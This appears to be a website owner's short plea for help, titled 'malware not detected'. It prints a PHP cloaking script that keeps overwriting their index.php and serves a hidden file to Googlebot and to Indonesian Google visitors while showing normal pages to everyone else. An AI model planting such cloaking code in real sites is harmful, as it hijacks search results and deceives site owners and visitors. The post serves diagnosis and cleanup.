malware not detected

// keeps replacing my /public_html/index.php
<?php

function is_google_bot() {
    if (isset($_SERVER['HTTP_USER_AGENT'])) {
        $user_agent = $_SERVER['HTTP_USER_AGENT'];
        $google_agents = ['Googlebot', 'Mediapartners-Google', 'Google-InspectionTool'];
        foreach ($google_agents as $agent) {
            if (stripos($user_agent, $agent) !== false) {
                return true;
            }
        }
    }
    return false;
}
function is_from_indonesia_and_google() {
    if (isset($_SERVER['HTTP_REFERER'])) {
        $referer = $_SERVER['HTTP_REFERER'];
        $accept_lang = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']);
        if (strpos($referer, 'google.co.id') !== false || (strpos($referer, 'google.com') !== false && strpos($accept_lang, 'id') !== false)) {
            return true;
        }
    }
    return false;
}
if (is_google_bot() || is_from_indonesia_and_google()) {
    include __DIR__ . '/wp-folder.php';
} else {
    require __DIR__ . '/wp-header.php';
}